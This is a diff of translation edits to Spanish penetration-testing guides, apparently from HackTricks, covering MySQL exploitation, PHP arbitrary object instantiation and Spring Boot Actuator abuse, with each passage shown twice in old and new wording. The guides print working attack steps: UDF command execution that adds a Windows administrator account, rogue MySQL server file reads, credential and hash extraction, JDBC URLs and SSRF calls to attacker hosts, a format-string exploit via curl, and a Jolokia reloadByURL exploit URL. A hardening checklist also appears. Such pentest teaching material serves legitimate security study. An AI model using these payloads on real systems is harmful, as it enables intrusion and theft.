* La ruta de archivo se resuelve **relative to MySQL’s CWD**, por lo que prefijar con `../../` ayuda a acortar la ruta y eludir las restricciones de rutas absolutas.
|
||||
* Si la entrada del atacante se extrae con `%128s` (o similar) cualquier espacio truncará el payload; usa las secuencias de comentario de MySQL `/**/` o `/*!*/` para reemplazar espacios.
|
||||
* El usuario de MySQL que ejecuta la consulta necesita el privilegio `FILE`, pero en muchos appliances (e.g. FortiWeb) el servicio se ejecuta como **root**, dando acceso de escritura en casi cualquier lugar.
|
||||
* La ruta de archivo se resuelve **relativa al CWD de MySQL**, por lo que prefijar con `../../` ayuda a acortar la ruta y eludir las restricciones de ruta absoluta.
|
||||
* Si la entrada del atacante se extrae con `%128s` (o similar) cualquier espacio truncará el payload; usa las secuencias de comentarios de MySQL `/**/` o `/*!*/` para reemplazar espacios.
|
||||
* El usuario de MySQL que ejecuta la consulta necesita el privilegio `FILE`, pero en muchos appliances (p.ej. FortiWeb) el servicio se ejecuta como **root**, otorgando acceso de escritura casi en todas partes.
|
||||
|
||||
Después de colocar el `.pth`, simplemente solicita cualquier CGI manejado por el intérprete de python para obtener ejecución de código:
|
||||
Después de colocar el `.pth`, simplemente solicita cualquier CGI manejado por el intérprete de python para obtener code execution:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
@ -145,43 +145,47 @@ $ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## MySQL arbitrary read file by client
|
||||
---
|
||||
|
||||
En realidad, cuando intentas **load data local into a table** con el **contenido de un archivo**, el servidor MySQL o MariaDB solicita al **cliente que lo lea** y envíe el contenido. **Entonces, si puedes manipular un mysql client para que se conecte a tu propio MySQL server, puedes leer arbitrary files.**\
|
||||
## MySQL lectura arbitraria de archivos por el cliente
|
||||
|
||||
De hecho, cuando intentas **load data local into a table** el **contenido de un archivo** el servidor MySQL o MariaDB le pide al **cliente que lo lea** y envíe el contenido. **Entonces, si puedes manipular un mysql client para que se conecte a tu propio servidor MySQL, puedes leer archivos arbitrarios.**\
|
||||
Ten en cuenta que este es el comportamiento al usar:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(Nota la palabra "local")\ Porque sin "local" puedes obtener:
|
||||
(Fíjate en la palabra "local")\ Porque sin "local" puedes obtener:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**PoC inicial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**En este artículo puedes ver una descripción completa del ataque e incluso cómo ampliarlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Inicial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**En este artículo puedes ver una descripción completa del ataque e incluso cómo extenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Aquí puedes encontrar una visión general del ataque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## POST
|
||||
|
||||
### Usuario de Mysql
|
||||
### Mysql User
|
||||
|
||||
Será muy interesante si mysql está ejecutándose como **root**:
|
||||
Será muy interesante si mysql se ejecuta como **root**:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
#### Dangerous Settings of mysqld.cnf
|
||||
#### Configuraciones peligrosas de mysqld.cnf
|
||||
|
||||
En la configuración de los servicios MySQL, se emplean varias opciones para definir su funcionamiento y medidas de seguridad:
|
||||
|
||||
- La **`user`** setting se utiliza para designar el usuario bajo el cual se ejecutará el servicio MySQL.
|
||||
- **`password`** se aplica para establecer la contraseña asociada con el usuario de MySQL.
|
||||
- La opción **`user`** se utiliza para designar el usuario bajo el cual se ejecutará el servicio MySQL.
|
||||
- **`password`** se utiliza para establecer la contraseña asociada con el usuario de MySQL.
|
||||
- **`admin_address`** especifica la dirección IP que escucha conexiones TCP/IP en la interfaz de red administrativa.
|
||||
- La variable **`debug`** es indicativa de las configuraciones de depuración presentes, incluyendo información sensible dentro de los logs.
|
||||
- **`sql_warnings`** gestiona si se generan cadenas de información para sentencias INSERT de una sola fila cuando surgen warnings, conteniendo datos sensibles dentro de los logs.
|
||||
- La variable **`debug`** indica las configuraciones de depuración actuales, incluyendo información sensible dentro de los logs.
|
||||
- **`sql_warnings`** controla si se generan cadenas informativas para sentencias INSERT de una sola fila cuando aparecen warnings, conteniendo datos sensibles dentro de los logs.
|
||||
- Con **`secure_file_priv`**, el alcance de las operaciones de importación y exportación de datos se restringe para mejorar la seguridad.
|
||||
|
||||
### Escalada de privilegios
|
||||
@ -204,16 +208,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Privilege Escalation via library
|
||||
|
||||
Si el **mysql server is running as root** (o un usuario diferente con más privilegios) puedes hacer que ejecute comandos. Para ello necesitas usar **user defined functions**. Y para crear una user defined necesitarás una **biblioteca** para el OS que está ejecutando mysql.
|
||||
Si el **mysql server is running as root** (o un usuario distinto con más privilegios) puedes hacer que ejecute comandos. Para ello, necesitas usar **user defined functions**. Y para crear una user defined function necesitarás una **librería** para el sistema operativo que ejecuta mysql.
|
||||
|
||||
La biblioteca maliciosa que puedes usar se encuentra dentro de sqlmap y dentro de metasploit ejecutando **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son bibliotecas de **linux** y los **`.dll`** son los de **Windows**, elige la que necesites.
|
||||
La librería maliciosa para usar puede encontrarse dentro de sqlmap y dentro de metasploit ejecutando **`locate "*lib_mysqludf_sys*"`**. Los archivos **`.so`** son librerías de **linux** y los **`.dll`** son los de **Windows**, elige la que necesites.
|
||||
|
||||
Si **no tienes** esas bibliotecas, puedes **buscarlas**, o descargar este [**linux C code**](https://www.exploit-db.com/exploits/1518) y **compilarlo dentro de la máquina linux vulnerable**:
|
||||
Si **no tienes** esas librerías, puedes bien **buscarlas**, o descargar este [**linux C code**](https://www.exploit-db.com/exploits/1518) y **compilarlo dentro de la máquina vulnerable linux**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
Ahora que tienes la biblioteca, inicia sesión en Mysql como un usuario con privilegios (¿root?) y sigue los siguientes pasos:
|
||||
Ahora que tienes la librería, login dentro de Mysql como un usuario privilegiado (root?) y sigue los siguientes pasos:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -247,14 +251,14 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
#### Consejo para Windows: crear directorios con NTFS ADS desde SQL
|
||||
#### Consejo de Windows: crear directorios con NTFS ADS desde SQL
|
||||
|
||||
En NTFS puedes forzar la creación de directorios usando un alternate data stream incluso cuando solo existe una primitiva de escritura de archivos. Si la clásica UDF chain espera un directorio `plugin` pero no existe y `@@plugin_dir` es desconocido o bloqueado, puedes crearlo primero con `::$INDEX_ALLOCATION`:
|
||||
En NTFS puedes forzar la creación de directorios usando un alternate data stream incluso cuando solo existe una primitiva de escritura de archivos. Si la cadena clásica de UDF espera un directorio `plugin` pero no existe y `@@plugin_dir` es desconocido o está bloqueado, puedes crearlo primero con `::$INDEX_ALLOCATION`:
|
||||
```sql
|
||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||
```
|
||||
Esto convierte el limitado `SELECT ... INTO OUTFILE` en una primitiva más completa en Windows stacks al preparar la estructura de carpetas necesaria para los drops de UDF.
|
||||
Esto convierte el limitado `SELECT ... INTO OUTFILE` en una primitiva más completa en entornos Windows al crear la estructura de carpetas necesaria para UDF drops.
|
||||
|
||||
### Extrayendo credenciales de MySQL desde archivos
|
||||
|
||||
@ -262,23 +266,23 @@ Dentro de _/etc/mysql/debian.cnf_ puedes encontrar la **contraseña en texto pla
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Puedes **usar estas credenciales para iniciar sesión en la base de datos mysql**.
|
||||
Puedes **usar estas credentials para login en la base de datos mysql**.
|
||||
|
||||
Inside the file: _/var/lib/mysql/mysql/user.MYD_ puedes encontrar **todos los hashes de los usuarios de MySQL** (los que puedes extraer de mysql.user dentro de la base de datos)_._
|
||||
Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **todos los hashes de los usuarios MySQL** (los que puedes extraer de mysql.user dentro de la base de datos)_._
|
||||
|
||||
Puedes extraerlos haciendo:
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
### Habilitar logging
|
||||
### Habilitar el registro
|
||||
|
||||
Puedes habilitar el logging de consultas de mysql dentro de `/etc/mysql/my.cnf` descomentando las siguientes líneas:
|
||||
Puedes habilitar el registro de las consultas de mysql en `/etc/mysql/my.cnf` descomentando las siguientes líneas:
|
||||
|
||||
.png>)
|
||||
|
||||
### Archivos útiles
|
||||
|
||||
Archivos de configuración
|
||||
Configuration Files
|
||||
|
||||
- windows \*
|
||||
- config.ini
|
||||
@ -293,14 +297,14 @@ Archivos de configuración
|
||||
- /var/lib/mysql/my.cnf
|
||||
- \~/.my.cnf
|
||||
- /etc/my.cnf
|
||||
- Historial de comandos
|
||||
- Command History
|
||||
- \~/.mysql.history
|
||||
- Archivos de registro
|
||||
- Log Files
|
||||
- connections.log
|
||||
- update.log
|
||||
- common.log
|
||||
|
||||
## Bases de datos/tablas por defecto de MySQL
|
||||
## Bases de datos/tablas predeterminadas de MySQL
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="information_schema"}}
|
||||
@ -651,36 +655,36 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 Novedades (nuevas)
|
||||
## Aspectos destacados 2023-2025 (nuevo)
|
||||
|
||||
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||
Desde Connector/J <= 8.0.32, un atacante que pueda influir en la **JDBC URL** (por ejemplo en software de terceros que solicita una cadena de conexión) puede solicitar que se carguen clases arbitrarias en el lado del *client* a través del parámetro `propertiesTransform`. Si un gadget presente en el class-path es cargable, esto resulta en **remote code execution in the context of the JDBC client** (pre-auth, porque no se requieren credenciales válidas). Un PoC mínimo se ve así:
|
||||
Desde Connector/J <= 8.0.32, un atacante que pueda influir en la **JDBC URL** (por ejemplo, en software de terceros que solicita una cadena de conexión) puede solicitar que se carguen clases arbitrarias en el *lado del cliente* mediante el parámetro `propertiesTransform`. Si un gadget presente en el class-path es cargable, esto resulta en **remote code execution en el contexto del JDBC client** (pre-auth, porque no se requieren credenciales válidas). Un PoC mínimo se ve así:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Ejecutar `Evil.class` puede ser tan sencillo como colocarlo en el class-path de la aplicación vulnerable o permitir que un servidor MySQL rogue envíe un objeto serializado malicioso. El problema se solucionó en Connector/J 8.0.33: actualice el driver o configure explícitamente `propertiesTransform` en una allow-list.
|
||||
(See Snyk write-up for details)
|
||||
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
|
||||
(Ver el write-up de Snyk para más detalles)
|
||||
|
||||
### Ataques de servidores MySQL rogue/falsos contra clientes JDBC
|
||||
Varias herramientas de código abierto implementan un protocolo MySQL *parcial* para atacar clientes JDBC que realizan conexiones salientes:
|
||||
### Ataques Rogue / Fake MySQL server contra clientes JDBC
|
||||
Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards:
|
||||
|
||||
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
|
||||
* **rogue_mysql_server** (Python, similar capabilities)
|
||||
|
||||
Vectores de ataque típicos:
|
||||
Rutas de ataque típicas:
|
||||
|
||||
1. La aplicación víctima carga `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`.
|
||||
2. El atacante controla la entrada DNS / host para que el nombre de host de la BD resuelva a una máquina bajo su control.
|
||||
3. El servidor malicioso responde con paquetes manipulados que provocan bien `LOCAL INFILE` para lectura arbitraria de archivos o Java deserialization → RCE.
|
||||
2. El atacante controla DNS / host entry de modo que el hostname de la DB resuelva a una máquina bajo su control.
|
||||
3. El servidor malicioso responde con paquetes elaborados que desencadenan ya sea una lectura arbitraria de archivos vía `LOCAL INFILE` o Java deserialization → RCE.
|
||||
|
||||
Example one-liner to start a fake server (Java):
|
||||
Ejemplo de one-liner para iniciar un fake server (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
Después apunta la aplicación víctima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` y lee `/etc/passwd` codificando el nombre de archivo en base64 en el campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
Luego dirige la aplicación víctima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` y lee `/etc/passwd` codificando el nombre de archivo en base64 en el campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Cracking `caching_sha2_password` hashes
|
||||
MySQL ≥ 8.0 almacena los hashes de contraseña como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (mode **21100**) como John-the-Ripper (`--format=mysql-sha2`) soportan offline cracking desde 2023. Vuelca la columna `authentication_string` y aliméntala directamente:
|
||||
MySQL ≥ 8.0 almacena los hashes de contraseña como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (modo **21100**) como John-the-Ripper (`--format=mysql-sha2`) soportan cracking offline desde 2023. Vuelca la columna `authentication_string` y pásala directamente:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
@ -689,12 +693,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Checklist de hardening (2025)
|
||||
• Establecer **`LOCAL_INFILE=0`** y **`--secure-file-priv=/var/empty`** para eliminar la mayoría de las primitivas de lectura/escritura de archivos.
|
||||
• Eliminar el privilegio **`FILE`** de las cuentas de la aplicación.
|
||||
• En Connector/J establecer `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vacío).
|
||||
• Desactivar plugins de autenticación no usados y **requerir TLS** (`require_secure_transport = ON`).
|
||||
• Vigilar sentencias `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` y sentencias `SET GLOBAL` repentinas.
|
||||
### Lista de hardening (2025)
|
||||
• Set **`LOCAL_INFILE=0`** y **`--secure-file-priv=/var/empty`** para eliminar la mayoría de las primitivas de lectura/escritura de archivos.
|
||||
• Eliminar el privilegio **`FILE`** de las cuentas de aplicaciones.
|
||||
• En Connector/J, configurar `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vacío).
|
||||
• Deshabilitar plugins de autenticación no usados y **require TLS** (`require_secure_transport = ON`).
|
||||
• Vigilar `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` y declaraciones repentinas de `SET GLOBAL`.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -6,11 +6,11 @@ Esto es básicamente un resumen de [https://swarm.ptsecurity.com/exploiting-arbi
|
||||
|
||||
## Introducción
|
||||
|
||||
La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede conducir a Remote Code Execution (RCE), como se detalla en un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca varias estrategias para lograr RCE.
|
||||
La creación de nuevos objetos arbitrarios, como `new $_GET["a"]($_GET["a"])`, puede conducir a Remote Code Execution (RCE), como se detalla en un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento resalta varias estrategias para lograr RCE.
|
||||
|
||||
## RCE a través de clases personalizadas o autoloading
|
||||
## RCE vía Clases Personalizadas o Autoloading
|
||||
|
||||
La sintaxis `new $a($b)` se usa para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden provenir de entradas de usuario como GET/POST, donde pueden ser cadenas o arrays, o de JSON, donde pueden presentarse como otros tipos.
|
||||
La sintaxis `new $a($b)` se usa para instanciar un objeto donde **`$a`** representa el nombre de la clase y **`$b`** es el primer argumento pasado al constructor. Estas variables pueden obtenerse de entradas de usuario como GET/POST, donde pueden ser strings o arrays, o de JSON, donde podrían presentarse como otros tipos.
|
||||
|
||||
Considere el siguiente fragmento de código:
|
||||
```php
|
||||
@ -31,9 +31,9 @@ $b = $_GET['b'];
|
||||
|
||||
new $a($b);
|
||||
```
|
||||
En este caso, establecer `$a` a `App` o `App2` y `$b` a un comando del sistema (por ejemplo, `uname -a`) resulta en la ejecución de ese comando.
|
||||
En este caso, asignar `$a` a `App` o `App2` y `$b` a un comando del sistema (por ejemplo, `uname -a`) provoca la ejecución de ese comando.
|
||||
|
||||
**Funciones de auto-carga** pueden ser explotadas si tales clases no son directamente accesibles. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen usando `spl_autoload_register` o `__autoload`:
|
||||
**Funciones de carga automática** pueden ser explotadas si dichas clases no son accesibles directamente. Estas funciones cargan automáticamente clases desde archivos cuando se necesitan y se definen usando `spl_autoload_register` o `__autoload`:
|
||||
```php
|
||||
spl_autoload_register(function ($class_name) {
|
||||
include './../classes/' . $class_name . '.php';
|
||||
@ -45,15 +45,15 @@ include $class_name . '.php';
|
||||
|
||||
spl_autoload_register();
|
||||
```
|
||||
El comportamiento del autoloading varía según la versión de PHP, ofreciendo diferentes posibilidades de RCE.
|
||||
El comportamiento de la carga automática (autoloading) varía según la versión de PHP, ofreciendo diferentes posibilidades de RCE.
|
||||
|
||||
## RCE via Built-In Classes
|
||||
## RCE vía clases integradas
|
||||
|
||||
Si faltan clases personalizadas o autoloaders, las **clases integradas de PHP** pueden ser suficientes para RCE. El número de estas clases varía entre 100 y 200, según la versión de PHP y las extensiones. Pueden listarse usando `get_declared_classes()`.
|
||||
Si faltan clases personalizadas o autocargadores, las **clases integradas de PHP** pueden ser suficientes para RCE. El número de estas clases oscila entre 100 y 200, según la versión de PHP y las extensiones. Pueden listarse usando `get_declared_classes()`.
|
||||
|
||||
Los constructores de interés pueden identificarse mediante la reflection API, como se muestra en el siguiente ejemplo y en el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||
Los constructores de interés pueden identificarse mediante la API de reflexión, como se muestra en el siguiente ejemplo y en el enlace [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||
|
||||
**RCE via specific methods includes:**
|
||||
**RCE vía métodos específicos incluye:**
|
||||
|
||||
### **SSRF + Phar Deserialization**
|
||||
|
||||
@ -61,37 +61,37 @@ La clase `SplFileObject` permite SSRF a través de su constructor, permitiendo c
|
||||
```php
|
||||
new SplFileObject('http://attacker.com/');
|
||||
```
|
||||
SSRF puede conducir a deserialization attacks en versiones de PHP anteriores a la 8.0 usando el protocolo Phar.
|
||||
SSRF puede conducir a deserialization attacks en versiones de PHP anteriores a 8.0 usando el protocolo Phar.
|
||||
|
||||
### **Exploiting PDOs**
|
||||
### **Explotando PDOs**
|
||||
|
||||
El constructor de la clase PDO permite conexiones a bases de datos mediante cadenas DSN, lo que potencialmente habilita la creación de archivos u otras interacciones:
|
||||
El constructor de la clase PDO permite conexiones a bases de datos a través de cadenas DSN, potencialmente habilitando la creación de archivos u otras interacciones:
|
||||
```php
|
||||
new PDO("sqlite:/tmp/test.txt")
|
||||
```
|
||||
### **SoapClient/SimpleXMLElement XXE**
|
||||
|
||||
Versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores de `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2.
|
||||
Las versiones de PHP hasta 5.3.22 y 5.4.12 eran susceptibles a ataques XXE a través de los constructores `SoapClient` y `SimpleXMLElement`, dependiendo de la versión de libxml2.
|
||||
|
||||
## RCE vía la extensión Imagick
|
||||
## RCE via Imagick Extension
|
||||
|
||||
En el análisis de las dependencias de un **proyecto**, se descubrió que **Imagick** podía aprovecharse para **ejecución de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
|
||||
En el análisis de las **dependencias de un proyecto**, se descubrió que **Imagick** podía aprovecharse para **ejecución de comandos** al instanciar nuevos objetos. Esto presenta una oportunidad para explotar vulnerabilidades.
|
||||
|
||||
### VID parser
|
||||
|
||||
Se identificó la capacidad del VID parser para escribir contenido en cualquier ruta especificada del sistema de archivos. Esto podría conducir a la colocación de un PHP shell en un directorio accesible vía web, logrando Remote Code Execution (RCE).
|
||||
Se identificó la capacidad del VID parser de escribir contenido en cualquier ruta especificada del sistema de archivos. Esto podría llevar a colocar un PHP shell en un directorio accesible desde la web, logrando RCE.
|
||||
|
||||
#### VID Parser + File Upload
|
||||
|
||||
Se observa que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El VID parser en Imagick, utilizando el protocolo **msl**, puede manejar comodines en rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para conseguir escritura arbitraria de archivos en el sistema de archivos.
|
||||
Cabe señalar que PHP almacena temporalmente los archivos subidos en `/tmp/phpXXXXXX`. El VID parser en Imagick, utilizando el protocolo **msl**, puede manejar comodines en rutas de archivos, facilitando la transferencia del archivo temporal a una ubicación elegida. Este método ofrece un enfoque adicional para lograr escritura arbitraria de archivos en el sistema de archivos.
|
||||
|
||||
### PHP Crash + Brute Force
|
||||
|
||||
Un método descrito en el [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste en subir archivos que provocan un crash del servidor antes de su eliminación. Mediante brute-forcing del nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se constató que esta técnica solo era efectiva en una versión desactualizada de ImageMagick.
|
||||
Un método descrito en el [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste en subir archivos que provocan un crash del servidor antes de su eliminación. Mediante brute-forcing del nombre del archivo temporal, se vuelve posible que Imagick ejecute código PHP arbitrario. Sin embargo, se encontró que esta técnica solo era efectiva en una versión obsoleta de ImageMagick.
|
||||
|
||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||
|
||||
Cuando la entrada del usuario controla el nombre de la clase (p.ej., `new $_GET['model']()`), PHP 7.0.0 introdujo un bug transitorio durante la refactorización de `Throwable` en el que el motor trataba por error el nombre de la clase como una cadena de formato printf durante la resolución. Esto habilita primitivas clásicas al estilo printf dentro de PHP: leaks con `%p`, control del conteo de escritura con especificadores de ancho, y escrituras arbitrarias con `%n` sobre punteros en proceso (por ejemplo, entradas GOT en builds ELF).
|
||||
Cuando la entrada del usuario controla el nombre de la clase (por ejemplo, `new $_GET['model']()`), PHP 7.0.0 introdujo un bug transitorio durante el refactor de `Throwable` donde el motor trataba por error el nombre de la clase como una cadena de formato printf durante la resolución. Esto habilita primitivas clásicas al estilo printf dentro de PHP: leaks con `%p`, control del contador de escritura con especificadores de ancho, y escrituras arbitrarias con `%n` contra punteros en proceso (por ejemplo, entradas GOT en builds ELF).
|
||||
|
||||
Patrón mínimo de repro vulnerable:
|
||||
```php
|
||||
@ -99,14 +99,14 @@ Patrón mínimo de repro vulnerable:
|
||||
$model = $_GET['model'];
|
||||
$object = new $model();
|
||||
```
|
||||
Esquema de explotación (según la referencia):
|
||||
- Leak direcciones vía `%p` en el nombre de la clase para encontrar un objetivo escribible:
|
||||
Esquema de explotación (de la referencia):
|
||||
- Leak addresses via `%p` in the class name to find a writable target:
|
||||
```bash
|
||||
curl "http://host/index.php?model=%p-%p-%p"
|
||||
# Fatal error includes resolved string with leaked pointers
|
||||
```
|
||||
- Usa parámetros posicionales y especificadores de ancho para fijar un conteo exacto de bytes, luego `%n` para escribir ese valor en una dirección accesible en el stack, apuntando a un GOT slot (p. ej., `free`) para sobrescribir parcialmente hacia `system`.
|
||||
- Activa la función secuestrada pasando un nombre de clase que contenga un shell pipe para llamar a `system("id")`.
|
||||
- Usa parámetros posicionales y especificadores de ancho para establecer un conteo exacto de bytes, luego `%n` para escribir ese valor en una dirección alcanzable en el stack, apuntando a una entrada del GOT (p. ej., `free`) para sobrescribirla parcialmente hacia `system`.
|
||||
- Provoca la función secuestrada pasando un nombre de clase que contenga un pipe de shell para invocar `system("id")`.
|
||||
|
||||
Notas:
|
||||
- Funciona solo en PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corregido en versiones posteriores. Severidad: crítica si existe instanciación arbitraria de clases.
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Actuadores de Spring
|
||||
# Spring Actuators
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,29 +6,29 @@
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Explotando Actuadores de Spring Boot
|
||||
## Explotando Spring Boot Actuators
|
||||
|
||||
**Consulta la publicación original en** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Puntos clave:**
|
||||
|
||||
- Los Actuadores de Spring Boot registran endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. Desde la versión 1.5 en adelante, por defecto solo `/health` y `/info` no son sensibles, pero los desarrolladores a menudo desactivan esta seguridad.
|
||||
- Algunos endpoints de actuadores pueden exponer datos sensibles o permitir acciones dañinas:
|
||||
- Spring Boot Actuators registran endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. Desde la versión 1.5 en adelante, solo `/health` y `/info` son no sensibles por defecto, pero los desarrolladores a menudo desactivan esta seguridad.
|
||||
- Ciertos endpoints de Actuator pueden exponer datos sensibles o permitir acciones dañinas:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, y `/heapdump`.
|
||||
- En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x están bajo la ruta base `/actuator/`.
|
||||
|
||||
### **Técnicas de explotación:**
|
||||
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- El endpoint de actuator `/jolokia` expone la Jolokia Library, que permite acceso HTTP a MBeans.
|
||||
- La acción `reloadByURL` puede explotarse para recargar configuraciones de logging desde una URL externa, lo que puede conducir a blind XXE o Remote Code Execution vía configuraciones XML manipuladas.
|
||||
- El endpoint `/jolokia` expone la Jolokia Library, que permite acceso HTTP a MBeans.
|
||||
- La acción `reloadByURL` puede ser explotada para recargar configuraciones de logging desde una URL externa, lo que puede llevar a blind XXE o Remote Code Execution vía configuraciones XML manipuladas.
|
||||
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Config Modification via '/env'**:
|
||||
2. **Modificación de configuración vía '/env'**:
|
||||
|
||||
